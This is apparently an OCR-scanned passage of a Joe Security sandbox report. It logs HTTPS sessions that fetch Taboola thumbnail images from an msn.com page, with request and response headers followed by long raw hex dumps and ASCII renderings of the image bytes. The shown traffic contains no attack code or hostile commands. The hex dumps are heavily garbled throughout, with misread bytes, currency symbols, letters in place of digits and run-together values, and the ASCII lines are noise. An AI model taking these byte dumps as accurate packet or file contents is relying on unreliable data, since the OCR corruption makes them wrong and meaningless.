2021-10-20 13:08:56 UTC 74 IN Data Raw: 74 97 73 a3 02 05 89 62 aa 95 10 33 8e 90 04 29 e9 a8 e9 df 1f 43 e4 e8 c5 32 3a ca 9b 55 0d 04 51 2c 8d 91
43 df 34 35 77 ¢5 58 le e2 34 ed 35 05 14 cf 11 03 80 e2 36 64 c8 fa 06 60 16 fa 7a 5f 91 d9 68 aa eb 27 Oe 9d ac ea cl1
€9 67 0c 2c 19 0d f5 b1 d6 Oa 88 01 86 9b 7e c6 8f 7 1f d5 a9 e7 71 4d 13 28 04 73 98 d5 3¢ 53 53 bb a5 4b d1 57 18 82
b2 70 42 ac 85 c1 fe 0d aa 98 38 7 e7 69 45 51 fb 00 85 86 b6 87 cc 80 1f e4 a9 91 98 83 8f 20 80 da f8 78 b3 b1 66 78
a9 8d 24 ae 58 f2 6f 48 51 d8 €9 36 8d 3 65 af 06 a6 9a 2d ca 52 d2 c2 ff 00 be ab 5b 21 6b al b7 03 82 a7 43 68 9d 80
9e b5 60 08 8b 35 43 00 24 77 65 19 30 95 bb 88 24 db 49 2d 55 1c 0f 04 f0 07 06 55 11 b9 08 c5 7c d8 a5 b9 d4 f4 93 46
19 44 88 a8 d7 56 20 95 61 22 b0 20 95 1e 2c 7d 8e b6 d9
Data Ascii: tsh3)C2:UQ,C45wX456d z_h'g,~qM(s<SSKWpBSBIEQ xfx$XoHQ6e-R[!kCh 5C$we0$I-UU|FDV a" }

2021-10-20 13:08:56 UTC 76 IN Data Raw: a4 9e 2e bc 51 20 6¢ 1a 66 8c dc 3b 33 76 a0 61 61 62 75 1e db 5f b4 ee a9 49 bb 40 90 08 Oc 4b 28 28 d7 4b
0232 d7 2ac4 11 fab2 1e eb cf eb ee 99 a3 41 f6 ca e7 fd 34 28 €9 21 88 cf 5d 56 57 21 4f 4e a4 02 c1 6e 32 72 48 54 5f
52 75 d2 12 d9 23 dc b7 03 f3 46 79 7c 2f 50 9e 22 2f ff 00 64 01 a4 a6 a2 df 29 27 al 78 97 80 95 2a 73 88 db d2 ef 8e ac
75 50 df 2b 4e b3 d6 cf 14 42 41 02 bb 59 7a 84 90 10 7d 4f 9b ea 57 94 a6 32 83 2b 62 5d Oe 27 2 11 ¢1 d7 c3 12 cf 11
ec a8 a9 a3 32 cca7 dd 5d 8b 10 75 b6 6d cf f2 ce cd 53 07 51 d8 8c 4d 8 6b f1 aa df 88 a0 da 9c ¢2 b5 d4 91 b0 a7 71
25 a4 ea 5 d4 80 5a 4b e6 c1 98 9b ea 47 el 15 33 9a 8d Oa e2 3c d8 48 aa 4f be 5a 85 1c f5 09 6f da 3b 7a db 3e 2d 81
9b 0d 6d 94 80 €0 19 a4 de 29 40 7b 79 bf e2 b3 6b
Data Ascii: .Q If;3vaabu_|@K((K2*A4(']VW!IONN2rHT_Ru#Fy|/P"/d)'x*suP+NBAYz}OW2+b]2JumSQMkq%ZKG3<HOZo
z>-m)@{yk
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kBytes

Timestamp transferred Direction
2021-10-20 13:08:56 UTC 77 IN
2021-10-20 13:08:56 UTC 78 IN
2021-10-20 13:08:56 UTC 80 IN
2021-10-20 13:08:56 UTC 81 IN
2021-10-20 13:08:56 UTC 82 IN
Session ID Source IP Source Port
8 192.168.2.5 49832
kBytes
Timestamp transferred Direction
2021-10-20 13:08:56 UTC 83 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: 37 3b 49 2f 62 33 a9 01 15 02 b2 b1 0f 6e 09 1a dc 25 92 57 ce 39 20 a9 8a 04 45 f1 63 13 44 e4 9f ae 43 5b
82 6d 3b 85 6d 4d 14 73 c7 4b 0d 50 4a 9a 65 47 78 65 1d 68 8a 3e 32 2b 2d fc 83 c6 be 38 10 38 e6 9f 6f a0 a6 a6 46 3f
6 8b d5 b8 d7 9 1d 31 8d 11 23 81 76 d4 44 54 1e 15 5b 2d 7e 90 3e 2b dc 6e Ob 99 c5 1b e2 18 d8 34 cc 1b a5 12 7a
64 40 1a d9 7e 14 4a d9 9e 74 d9 ab 7 1a 5a aa 9a 25 97 92 8f f2 2b 51 c0 3f 93 8d 7c 2f cO fO bf b4 4d ff 00 96 dd aa 39
07 fd da 2a c9 0f f2 92 9a 2d 6f 92 1f 5e 96 c6 66 fe 59 55 41 af 89 aa 87 ff 00 22 48 3f fe 8c 9a f8 96 ac de f9 1a 9a 58 3f
a3 c3 3e be 21 76 03 8c b7 2d b4 ff 00 a6 d9 ad ca 8a 71 Oa a4 f5 30 ee b5 90 4b d2 27 2c 1a 4d bb e5 Oe b7 9f 8a c5 6e
d8 20 a0 db 7 fa 2a cd ca 7a 09 1b f1 18 d4 cd 53

Data Ascii: 7;1/b3n%W9 EcDC[m;mMsKPJeGxeh>2+-880F?1#vDT[-~>+n4zd@~JtZ%+Q?|/M9I*-0 fYUA"H?X?>Iv-qOK',Mn
*zS

Data Raw: 70 a7 15 21 8f d2 fe 74 f2 18 b2 b2 86 96 56 bc 9c 9b 2d 8f a0 d3 ac 6d 18 92 39 7a cb 8b 5¢ da d6 c0 da c3 c6
85 60 69 ce 2e 71 3d a3 b8 d8 ¢3 6b 28 b9 00 79 b0 d2 cb d4 81 99 b3 92 42 83 12 08 2c 48 61 c5 c1 17 3a 82 48 a2 Oa
47 4a 9f 08 b8 36 07 b9 df cf df 42 79 a9 4d c1 bc Oc ¢8 5¢ 06 55 20 02 41 b1 b8 6 fc ea 68 62 31 80 94 ed 12 63 90 39
dd 4d ae cd eb c9 d6 e1 55 00 77 93 a6 b5 0f 16 59 12 59 79 6f 00 1b 81 7d 43 4¢c 91 46 03 8c 52 59 11 9b 9b 67 9f 69 1le
7c 5b 55 71 31 60 51 c5 3a 15 6f 16 4c b0 2b 8f a5 ec 48 d2 54 ca 41 e6 d8 dd d4 59 6e 19 31 bf dc €8 c2 2a 64 0b 99 10
53 a8 26 d6 16 95 c1 2d e0 da da 69 19 d4 46 d1 c8 d1 d8 03 75 17 30 23 5b 90 7c 6a 7d ba 79 2a 04 b3 25 3c cb 55 89
91 9897 c2 64 c8 e4 45 c9 3c eb 73 31 9e ff 00 ¢7 a8 8d 57

Data Ascii: p!'tV-m9z\'i.q=k(yB,Ha:HGJ6ByM\U Ahb1cOMUWY Yyo}CLFRYgi|[Uql Q:0L+HTAYn1*dS&-iFul#||j}y*%<
UdE<s1W

Data Raw: fO 7d ¢8 1a 92 64 c0 c9 20 3d al 6e 40 b7 68 b0 4f 71 a8 22 1d 8f 14 0d 54 a8 f1 80 cc 8e c5 94 da d8 9f 1c 5b
58 c6 82 47 77 8e 44 94 bb al 00 04 01 81 c7 cf 26 da 65 92 15 c2 15 8e 95 9d 41 60 79 el 1b Oe 34 cc d1 64 b1 9b 6 dd
54 9b 80 54 85 d1 25 d7 22 57 02 aa 5b b8 9f 2a 7f 90 d4 4e 7a 98 a3 9b 80 43 fa 58 5¢c 8d 4a a3 20 aa ab 20 25 3a 9e b9
0b b0 02 f7 62 Oe ac ce a5 60 ca 7b 92 01 Oa 4b Ob 8f 62 40 d4 52 1c 14 96 2a 09 52 45 88 3f 9b db d3 54 91 c0 1d 8b b0
8f ¢3 2d 90 37 02 ff 00 c4 8d 5a 32 51 6d 8e 4c 49 24 28 00 a7 81 ef 7d 45 23 49 c0 4c e2 95 a5 bl 1c 5a cc 41 f4 b7 81
e4 ea 54 89 5a 52 88 90 2c 7c 29 1d b2 74 ac 09 06 fd c7 8e 7d f4 c8 73 ¢5 Oc b6 6b b1 50 2d 72 53 8b 8e 6e 09 bl 3c 8d
54 a3 47 50 51 fO 74 40 ae 19 87 8b 62 41 1d df 55 d4

Data Ascii: }Jd =n@hOq"T[XGwD&eA'y4dTT%"W[*NzCX\J %:b{Kb@R*RE?T-7Z2QmLIS(E#ILZATZR,|)t}skP-rSn<TGP
Qt@bAU

Data Raw: 21 43 b0 5c 08 5¢ 01 2b 7b b2 37 04 12 07 37 07 44 49 d3 40 e8 b2 31 78 c2 b1 66 b6 57 00 8f 1e fa bc 88 55
6c ac 19 57 02 47 20 8b b1 b7 9b 72 75 53 b8 1a 76 58 f2 a6 a7 74 2a af 7e 4c 33 48 3b 94 81 63 c0 bf 8d 39 96 76 5b f5
90 82 92 1b Oc 43 a0 b0 b8 b9 36 b1 e3 53 86 86 ac bc 68 3e 68 14 61 26 4c 00 61 el 8a 90 47 9f 6d 56 40 8a 50 2a a3 bf
8b 14 01 8f 00 12 47 a0 1c ea 91 9f e5 a7 8d 83 06 49 80 1c 84 24 80 45 96 c7 13 7e ed 24 d1 3b 03 22 ae 05 d0 92 Ob df
8e 41 b7 dc e9 e9 9c 39 2e 43 81 73 23 76 de 4e 38 b8 27 ea 6f aa 8b 53 44 23 75 67 cd ec a5 8e 00 95 ca e0 28 07 16 bf
17 d4 91 3c 19 66 08 07 8b 10 5d 8f 1d a6 d7 c8 5a €3 53 4d 44 ed 60 11 5e 56 79 33 bc 41 4a a9 Oa b6 1f 50 78 e4 6b 70
dbal 3317 b3 ¢l 0c 97 66 90 d8 12 a5 c0 51 6e 40 e4 f9

Data Ascii: IC\+{77DI@1xfWUIWG ruSvXt*~L3H;c9v[C6Sh>ha&LaGmV@P*GI$E~$;"A9.Cs#VN8'0SD#ug(<f]ZSMD "Vy
3AJPxkp3fQn@

Data Raw: 6¢ 00 04 dc 11 73 7d 28 1d 4b 77 5d 81 0d e7 82 38 3e da 12 55 05 c6 33 d1 4e 11 81 6e e3 60 4d ad a2 24 6b
a2 c8ca1lb 12 05 b2 51 c5 b4 25 3d 3b 66 f6 00 9f 1f 53 eb a8 3 ff 00 05 7f 74 70 d7 7b da f7 d7 42 aa 64 7b 08 d4 30 ec
17 6b 17 56 1c 79 d5 5c 51 42 d7 a8 8e 27 01 d9 2e 3b 5e dc 10 7c f1 a0 ca a8 1d 92 50 5¢ d8 f8 37 00 70 48 d4 13 bc ef
14 c0 f5 24 50 84 01 c7 27 8f 4f 1a a4 cb 35 5a 93 36 6d 9c 2c 7b 82 10 78 71 e8 4f 1a 96 24 80 e0 ea 64 51 9b 37 7f a5 f8
20 df 4c 1c b2 a2 43 3b 3b 23 06 62 32 18 13 c9 b7 ae b2 66 72 el 26 ef 01 91 59 b2 06 d7 24 7d c7 1a 11 43 4f 1a ad 44
82 38 fa 93 44 07 Oa 18 86 b0 3e ¢4 1d 55 4d 1d 47 4c bc 93 ca c1 88 b0 20 81 76 Oa bc 58 da c7 56 8a 28 d6 25 6b 19 95
0d f0 2a af 25 dc 79 f3 6d 54 cb 4b 1c 7d 22 7a 71

Data Ascii: Is}(Kw]8>U3Nn M$kQ%-=;fStp{Bd{OkVy\QB".;*|P\7pH$P'O5Z6m {xqO0$dQ7 LC;#b2fr&Y$}CODSD>UMGL
VXV(%k*%ymTK}'zq

Destination IP  Destination Port Process
151.101.1.44 443

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%?2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F5282696e9e2aabcd3d346a6d7ed7591e.png HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-10-20 13:08:56 UTC 84

2021-10-20 13:08:56 UTC 85

2021-10-20 13:08:56 UTC 87

2021-10-20 13:08:56 UTC 89

2021-10-20 13:08:56 UTC 91

2021-10-20 13:08:56 UTC 94

2021-10-20 13:08:56 UTC 98

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 22230

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 350692997626492799788231350738665822473,335819361778233258019105610798549877581,29ec
f9b93bbf306179626feedalfab70

etag: "3a93f10be1638el4a4d5a8c3e39115a3"

expiration: expiry-date="Fri, 17 Sep 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Tue, 17 Aug 2021 13:05:16 GMT

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 100

x-ratelimit-reset: 1

X-envoy-upstream-service-time: 23

X-backend-name: CH_DIR:3FP7YNX3LMizprTZsG7BSW--F_CH_nlb801

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Wed, 20 Oct 2021 13:08:56 GMT

Age: 3936644

X-Served-By: cache-wdc5520-WDC, cache-dcal7772-DCA, cache-mxp6973-MXP

X-Cache: HIT, HIT, HIT

X-Cache-Hits: 1, 1, 2

X-Timer: S1634735336.230612,VS0,VEQ

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F5282696e9e2aabcd3d346a6d7ed7591e.png
X-vcl-time-ms: 0

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 05 05 05 05 05 05 06 06 06 06 08 09
08 09 08 Oc Ob 0a 0a Ob Oc 12 0d Oe 0d Oe Od 12 1b 11 14 11 11 14 11 1b 18 1d 18 16 18 1d 18 2b 22 1e 1e 22 2b 32 2a
28 2a 32 3c 36 36 3c 4c 48 4c 64 64 86 01 09 09 09 09 Oa 09 Oa Ob Ob Oa Oe Of Od Of Oe 15 13 11 11 13 15 1f 16 18 16 18
16 1f 30 1e 23 1e 1e 23 1e 30 2a 33 29 27 29 33 2a 4c 3b 35 35 3b 4c 57 49 45 49 57 6a 5f 5f 6a 85 7f 85 ae ae ea ff c2
0011 08 01 37 00 cf 03 01 11 00 02 11 01 03 11 01 ff c4 00 35 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 04 05
0306 00 02 07 01 08 01 00 03 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff da 00 Oc 03 01 00
02 1003 10 00 00 00 e4 73 37 de 40 2a ca c5 bd 73 94 98 a6

Data Ascii: JFIF+"'+2*(*2<66<LHLdd0##0*3)")3*L;55;LWIEIW]__j7557@*s

Data Raw: a9 1a 8d 3d 46 Oe 7a 76 9f 9e a5 3e 8d 19 d3 cb 17 bl e2 25 c7 a4 Oe 7e d8 fc 7f a8 e9 bc 5e 8f 53 ea e6 64 {2
9d ce Ob 07 cc 3d 3f 17 94 e7 75 5e ce 2d 13 fO 3c 0d 9a €9 be 87 cf 73 be 1f 74 28 d7 54 5 01 23 4e f5 f3 63 1c 61 af 8
ff 00 19 03 9a f6 1d 95 7e 6e e4 7c dd f6 1f 9e fb 1b fe 1d d7 8e ce 52 cc e6 26 6a cb 99 fa 3e 47 2c 8b a7 75 f1 e3 3c 46
al 8c eb le 8f cd 73 3e Of 7c 18 df 54 6a 31 e2 fb 3f ch bb b7 b5 e0 3e fb 5f 98 8d 30 63 5a cf 37 75 3b 93 d2 41 87 5d e3
€6 7e e7 a7 6f 6e 16 53 b8 12 6b 3d 3f Of 8¢ 4b e4 fd 9c 92 b9 89 3b f4 db 74 d9 82 dO 6¢ ce 10 4e el 04 df 64 f9 d9 ea 7f
al fe 7f 3e d1 e0 68 00 e7 ad 5b 9b be 8d c5 ea e9 f3 bf 6b d7 70 f5 2d b7 cd 1a 21 43 5f 53 c2 e5 12 f8 2f 67 21 15 11 a7
20 f0 23 0f 02 04 6e 18 02 c5 f6 ce 9f

Data Ascii: =Fzv>%~"Sd=?u”-<st(T#Nca~n|R&j>G,u<Fs>|Tj1?>_0cZ7u;A]~onSk=2K;tINd>h[kp-IC_S/g! #n

Data Raw: dd f7 c1 4d 10 59 d8 ae 21 3d 39 77 cc 22 55 05 Oc 63 bc cd 6a fc 6¢ 9a f6 e4 6¢ 91 24 4a 7f 6f 9a ed 1f 35 1f
ed e3d52b 1aal 64 al a6 af 95 f9 53 6a a4 fb c9 48 1c 59 62 af 56 49 38 d0 55 fe 71 d8 e0 62 10 60 79 37 76 5b 87 25
O f1 79 a6 3c e8 15 af 87 7b cd 31 25 35 87 Ob ba 69 55 7c 5e a3 bd 94 ec 76 d0 d8 f8 db 00 9b 0d 33 13 59 ff 00 a8 68
97 66 3d cf 26 43 00 fc e7 32 10 70 36 8¢ 42 13 35 c0 Oe d1 10 10 26 50 9b 6¢ 14 4d 06 82 d7 26 14 ab 4c 35 ed 9d 54 64
b2 c5 78 58 b9 3d 8¢ be 61 a7 57 16 6¢ af 08 77 c9 1b 48 a0 Oe 95 09 51 05 83 1b d6 e5 09 86 90 c9 a2 2b 84 d7 Ob 4e
69 b0 ea c9 9a 4f b4 74 90 b2 09 b7 2b b4 19 2f 9b 5d f1 33 ae 8¢ 75 3b 05 2c 7b 71 b8 b3 dc 79 al a9 50 ed 34 af 53 58
9a 69 3b 3b 5a 61 56 e2 d6 33 25 9d b1 51 f7 f2 19 ac 35

Data Ascii: MY!=9w"Ucjll$Jo5+dSjHYbVI8Uqh y 7v[%y<{1%5iU|*v3Yhf=&C2p6B5&PIM&L5 TdxX=aWIwHQ+NiOt+/]3u;,
{qyP4SXi;;Zav3%Q5

Data Raw: 73 Ob ab 36 ea cb 6¢ d3 43 7b c8 e6 3 d4 70 ec 6e cd b9 6b cc 4f 67 9a 12 e8 b1 24 al 84 Oc 28 06 78 49 Oa
bc 4c d2 95 1c 59 6¢ €9 29 85 27 de ab 28 a5 66 13 Oe 5¢c d6 98 90 31 03 9¢c 31 d6 18 cb 74 24 30 8¢ 50 49 9b 34 2b 44
ba 0a d9 da b8 65 72 bl 7e df 01 d8 55 6b 82 8f 3e 4d 54 49 de 30 a6 55 84 7c 0a 5d ed 9b 89 6e 33 18 76 ac ff 00 1d c3
bb b2 39 7c 2b 6b 5d db 3b 63 3b 90 db 56 de b5 33 71 e0 11 61 Oc ca e2 f5 8d c9 db a6 49 b2 b5 bc 8f 0a d9 cd e3 4b 7c
62 97 98 c2 46 €7 c3 a2 8d 59 14 41 cc 2e c2 de 2d 90 d1 4c 7c 9b e6 35 57 ea 00 83 17 c4 44 47 13 5a c9 05 67 5b 28
728488 13 24 e4 72 74 16 bd 66 3a 5a 84 7b 07 49 65 ad da e4 2a 48 f8 65 9a 6b ba f8 65 a2 d4 fc b2 d4 b6 c5 25 79 da
€7 3270 58 cl cc 64 d4 4f 12 2e d3 cf f1 0f 88 9b 7a 61 a8 b3

Data Ascii: s6IC{pnkOg$(xILYI)'(\11t$0PI4+Der~Uk>MTIOU|[]n3v9|+k];c;V3qalK|bFYA.-L|SWDGZg[(r$rtf:Z{le*Heke%y2p
XdO.za

Data Raw: af f1 a9 d4 fe 80 b7 3d aa 45 75 87 c¢3 dc 2a 8d 14 af ee 4c 86 3a ee le fd 8c 75 el d7 e7 45 a6 ¢7 23 31 ad a0
2b fe 8b db d6 d8 59 1b 38 dc 8e 3f e5 da 18 ec 3a f1 98 d4 d4 8d 58 c7 c1 73 ea de 33 ef ea dd 19 Oe 7d 31 64 b9 9f 58
Oc 92 6a b8 eb 3c a9 da 76 3e c8 ad b3 e4 8e dc Oe 81 b3 f7 d7 90 a3 de 84 el 83 ee 73 42 31 05 eb 33 3f e8 ef 87 01 3¢
ad 5a 98 e3 53 3f a4 1b 56 6b 6a 8e 3e 23 60 9e 41 91 b7 84 c9 e4 1f 97 c9 dc ¢9 58 0d 73 ef 45 a3 d6 cf 98 66 c7 c3 76
1c4d 5acc38b0 11 31 ce 89 71 3a 7d 68 28 9f 57 a8 44 f3 ea ed 29 19 9f 4d 59 28 a4 87 58 ab ff 00 3b 58 12 8 c7 b6
Oe 9a 8c al 42 05 1c f3 26 3c 7b 99 7c 26 67 d6 53 6d 61 ac 51 ad 6d 6¢ dc 58 3a 89 a7 90 90 62 Ob b2 11 3a 2f 7f a6 07
632339 b6 e7 72 7e f1 84 f8 67 8e ca e4 €8 51 7e 70

Data Ascii: =EU*L:UE#1+Y8?:Xs3}1dXj<v>sB13?<ZS?Vkj># AXSEfvMZ81q:}h(WD)MY (X;XB&<{|&gSmaQmlX:b:/c#9r~
9Q~p

Data Raw: 51 3f 86 62 7f f4 cc 4c ff 00 86 62 e6 3f Oc ¢7 94 7e 19 4e 63 fO b7 5a ad e8 09 79 fb 91 d4 59 aa 9b a0 e2 20
48 03 33 5d d1 03 el ae e0 64 c7 53 88 88 €2 60 a5 92 13 05 d8 4f 98 e6 34 Oe 8e 67 92 5d de be a2 19 2e 18 18 50 db
53 14 8 6b 05 5¢ 14 29 85 32 41 06 71 24 el 18 93 80 d2 ca 24 Oc 54 27 66 4c fc c6 73 5e 25 bd 0a c4 c7 3a 95 c6 a5 23
3f 89 ac 33 f8 2a 63 3f 86 63 c6 7f 0d c6 Oc fe 1f 8a ff 00 d3 f1 73 1c fa 76 3c 87 9f 4d ab 23 3f 6a b6 4e bb 46 Oe 55 61 €9
91 ec 15 ae b8 b8 8d 57 64 48 8f 7d 72 10 3d b5 e5 ec 73 31 06 71 1e €7 56 97 ec e6 66 c9 20 19 01 d4 a0 24 d8 c2 02 59
9a d6 22 97 70 52 1d 0d 70 de 26 4e 45 82 a9 20 e8 al 28 01 93 0f d7 8d 71 a9 08 d4 aa 27 47 5¢ 67 fO da 22 5f 8b 18 d8
9e 7d 5¢ c6 f1 cf ab 35 24 66 7d 52 bd 63 1c 73 11

Data Ascii: Q?bLb?~NcZyY H3]dS 04g].PSk\)2Aq$$T fLs"%:#?3*c?csv<M#?jNFUaWdH}r=s1qVf $Y"pRp&NE (q'G\g
"_)\5$f}Rcs
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:08:56 UTC 100 IN Data Raw: 69 8c d6 d6 44 eb d1 4539 74 e7 17 17 ca 51 38 68 6¢ €2 0d 86 f0 13 05 2c a5 ce ae c6 b5 a0 92 6f 00 2c 6e
2ce3717571110d 36 a6 39 34 76 01 2f 82 d2 d2 4c 26 b4 b4 41 70 3c 96 ¢4 27 59 c7 a2 37 88 e4 89 be 96 4d bb 60
a0 2d bd 87 54 1a Oc Oc c2 7a c7 eb 09 a3 ba 41 9b 3b 92 70 75 84 b4 f7 b6 50 fd da 41 28 10 48 e8 8¢ 4c 34 44 5d 38 80
41 db 54 44 b7 51 a7 fa 51 b2 01 a5 b0 e6 cc 4c 48 9d 65 43 09 96 b5 al d6 83 97 9f fd a3 76 f8 de 67 41 24 eb ff 00 61
07 99 2e ce el 07 ad 80 27 79 4e 75 60 d3 fc 40 48 93 el 1b 01 ca 37 2a 6a 02 44 32 21 d1 dd 3a 83 1c d7 1f c5 7b 36 Oc
1b 4303 ea 09 a8 5b b3 41 ed 73 88 22 58 24 1b 19 4e aa 1c 08 c8 47 9a a2 f2 el 04 df 9a 76 ae 94 2c 00 e4 8a b8 6a la
39 3751 fb aa 60 66 d3 d1 3c e6 02 ff 00 03 74 39 10 df 84
Data Ascii: iDE9tQ8hl,0,n,quq694v/L&AP<'Y7M’-TzA;puPA(HLAD]BATDQQLHeCvgA$a.'yNu' @H7*D2!:{6C[As"X$NG
v,j97Q f<t9

2021-10-20 13:08:56 UTC 101 IN Data Raw: 77 89 61 61 3b a2 d7 30 fe c5 67 e6 c3 f0 28 b9 9e 7e 8a 8e 25 b4 dc 01 74 b0 eb e4 9e d6 ea 37 57 92 08 4e
6c 1570 8a 21 05 2b 88 fO ac 17 12 0d 35 da €0 f1 a5 46 58 ac ae e6 83 61 5a 66 27 aa f8 0f 44 4a 08 18 59 9d cd 49 52
50 ec a7 aa 38 c0 60 1a 5f 19 43 13 87 3a e6 1f 05 ed f0 ff 00 8¢ 8e al 34 02 6d 04 2a 55 0b 06 47 5d bb 1e 48 d3 9b 84
€0 9c cd d0 e4 51 45 10 16 5e c1 ef 9f 71 9a 84 f8 0f 81 c8 1f 97 60 6¢ af ae 3d 98 82 fa 4e ee 8b 46 ce 54 78 86 16 a8 1d
fc 8e fc 2e 4c a8 e6 81 69 6a 25 95 1b 2d 75 d1 61 f9 5d 39 12 8¢ 15 70 85 c2 04 a6 9f bb 6e al 55 25 b5 41 04 68 d4 c3
9d d1 11 65 c4 f1 a3 0d 41 ac 63 bf 89 52 c0 8b 5b 72 a9 d6 10 9b 50 15 43 17 5e 8¢ 7b 3a 86 3f 09 b8 58 1c 53 31 74 ch
9b dd a8 df 13 56 77 9a 64 58 a7 49 45 a8 27 26 bb bl
Data Ascii: waa;0g(~%t7WNIp!+5FXazZf'DJYIRP8_C:4m*UG]HQE"q I=NFTx.Lij%-ua]9pnU%AheAcR[rPC {:?XS1tVwd
XIE'&

2021-10-20 13:08:56 UTC 103 IN Data Raw: 56 0f 89 55 a4 e6 b2 ab b3 53 98 93 a8 40 c8 04 19 07 42 15 be 28 9d 61 49 98 5b 21 €9 db 6f 71 a2 48 10 b8
c6 37 eb 78 c2 d6 19 a3 46 58 cf 33 bb bd €9 59 90 79 4d aa 53 2b aa 75 d3 2a 02 b0 78 ea 98 67 7e 2a 7b b5 52 ad 4e
b3 03 €9 b8 10 7d 42 0a 02 28 38 ec af d9 e5 ee 71 7c 61 c1 e0 cb 58 7f 8d 5e 58 cf 21 bb 90 00 00 07 dd 07 26 54 85 4a
b2 a7 56 56 1f 13 56 83 f3 d2 74 1f 91 58 7e 31 42 a4 0a c3 d9 bb 9e c8 10 e6 e6 6b 83 87 31 db e6 7d cd 10 b9 93 a2 c7
63 0e 3b 17 52 bf f4 78 69 8e 4d 1f 78 0a 63 c8 54 eb 26 57 4d aa 0a a3 89 ab 44 cd 2a ae 67 45 47 8d 57 6d ab 35 b5 07
3d 0a a7 c5 70 4f 12 6a 16 9e 45 a5 7f ff c4 00 3f 11 00 01 03 02 03 05 06 04 04 04 04 07 01 00 00 00 01 00 02 11 03 21
041231101341516105202232718114425291albl
Data Ascii: VUS@B(al[!ogH7xFX3YyMS+u*xg~*{RN}B(8q|aX"X!&TIVVViX~1Bkl}c;RxiMxcT&WMD*gEGWm5=
pOJE?!1AQa "2gBR

2021-10-20 13:08:56 UTC 104 IN Data Raw: 81 f0 3c f2 08 10 60 f3 3f 98 52 Oc 9b 19 09 ee 2d 2d 87 11 31 30 63 88 5b c7 98 cd 56 a4 Ob c6 6b 20 e2 00 96
b7 35 a6 5a df 42 98 32 el 9b 9a 93 3¢ 51 2d 0d cb 73 €9 Ob 25 27 11 €0 30 4c 59 ce 1c 56 ea 91 03 c2 f1 a7 11 69 1e 8b
b2 b0 ad 35 0d 79 7c 32 cd Oe 8d 4e da 2f Oc a8 1e el 24 3b 4f 45 57 1a d7 b2 05 22 df 10 32 35 Ob 0f 8b 18 88 04 dc Ob
a6 10 58 Ob 48 22 f7 09 ad 86 34 72 1b 20 67 94 7c cc f7 2a a5 e9 bb ad ad d5 56 68 ca 3f 55 4d 90 {7 44 80 00 d3 aa 32
34 27 de Oa 04 be 98 b3 62 67 52 13 a9 b6 Oc b5 c2 78 82 1c 10 a9 48 31 ed de b6 49 06 f6 41 8f 16 07 30 8b 41 07 a8 57
6b a0 b5 c2 f6 91 d5 57 bd 52 22 d0 07 de 42 68 b8 93 a9 ff 00 c8 ff 00 b9 17 17 4f 3f d4 8f {7 2a cf Oc 14 c9 3c dd ec 01
72 7b c8 cc 00 be 53 02 Oe a0 06 fe 65 00 fa 95 05
Data Ascii: <"?R--10c[Vk 5ZB2<Q-s%'0LYVi5y|2N/$;OEW"25XH"4r g|*Vh?UMD24'bgRXxH1IAOAWKWR"BhO?*<r{Se

2021-10-20 13:08:56 UTC 105 IN Data Raw: 81 02 77 83 ec b7 75 b8 00 7d d6 4a a3 56 7e 2b 35 b8 83 d6 ca a3 24 97 b7 5e 21 36 a2 17 41 c8 8d 48 40 df
5e 08 5d Oe bb 4f 7c 77 1d al 54 ea 66 Oe 11 76 b8 84 01 4f 7e a0 c0 Ob el d8 ea 21 af 6d cd e7 92 a9 85 af 4c f9 73 Oe
61 3e 98 74 96 98 77 10 81 2c 30 el 08 38 42 0a 10 04 00 b5 5¢ 51 00 a7 01 df 1d c2 aa bc d3 ¢4 54 22 75 54 71 22 a5 30
ec b7 e4 b0 58 57 e2 31 19 ea 4e 46 Oc ce 06 e2 4e 81 3d 97 28 b4 85 52 85 2a 93 9d 82 79 8d 56 22 8b a8 bb 23 el cd
37 69 50 d6 bc 6b 09 b0 a4 4a 28 22 36 39 72 f4 1d c0 09 20 34 49 26 02 18 1a 63 2b 5d 5f c6 46 92 13 d8 ea 6f 2c 7e a3
b8 56 2d e6 9e 25 f9 49 b8 12 a9 54 a8 1e 03 09 2e 71 00 30 71 92 b0 d8 6f 87 c3 32 96 ae d5 e7 99 29 cc 4e ab e c5 56
93 6a30 bl e2 c5 62 70 b5 28 f9 84 b7 81 1c 42 a6 ec a4 49
Data Ascii: wu}JV~+5$N6AH@A]O|wTfvO~!mLsa>tw,08B\QT"uTq "OXWINFN=(R*yV"#7iPkJ("69r 41&c+]_Fo,~V-%IT.
q0qo2)NVjobp(BI

2021-10-20 13:08:56 UTC 107 IN Data Raw: 63 73 93 82 a2 d2 f1 ff da 00 08 01 01 00 Oa 3f 00 90 aa 3e a7 20 9b 2a 76 3b €3 28 a7 76 ed 37 b7 6d b5 2b
6c 6b 15 88 3b 33 1a 05 bc fe 67 18 17 ea a0 88 10 al 49 d2 ca 70 87 64 04 30 1c e2 24 b0 8e ec 6d f1 10 45 f3 92 ¢4 25
